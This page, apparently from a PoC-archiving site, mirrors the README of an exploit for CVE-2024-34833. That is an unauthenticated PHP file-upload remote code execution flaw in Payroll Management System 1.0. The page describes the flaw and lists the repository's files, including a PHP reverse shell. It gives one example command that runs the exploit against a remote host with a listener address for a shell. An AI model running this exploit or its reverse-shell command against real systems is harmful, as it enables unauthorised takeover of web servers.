Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-34833 PoC — Payroll Management System 安全漏洞

Source
Associated Vulnerability
Title:Payroll Management System 安全漏洞 (CVE-2024-34833)
Description:Payroll Management System是Carlo Montero个人开发者的一个工资管理系统。 Payroll Management System 1.0版本存在安全漏洞,该漏洞源于未经身份验证的攻击者可以利用“save_settings”页面上传图片的功能上传恶意PHP文件,并以运行web服务器的用户身份执行任意代码。
Readme
# CVE-2024-34833 Payroll Management System RCE (Unauthenticated) PoC

![](./payroll-cover.jpg)

RCE via file upload for https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html. The filenames have timestamp prepended with a minute accuracy. The script tries to guess the filename using the timestamp of the current, previous and next minute.

## Vulnerability description
Payroll Management System v1.0 allows users to upload images via the "save_settings" page. An unauthenticated attacker can leverage this functionality to upload a malicious PHP file instead. The uploaded files are stored in a publicly accessible folder and have a timestamp with minute precision appended to their filenames, which can be easily calculated. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as the user running the web server.
## Example usage
```commandline
python3 exploit.py -rhost somewebsite.com -rport 443 -lhost 192.168.22.23 -lport 443 -https
```

## Example video
![](./example.gif)
File Snapshot

[4.0K] /data/pocs/b130029ac3d02414f162bf806321e4c58eb95649 ├── [890K] example.gif ├── [4.0K] exploit.py ├── [ 50K] payroll-cover.jpg ├── [9.2K] php_reverse_shell.php └── [1.0K] README.md 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.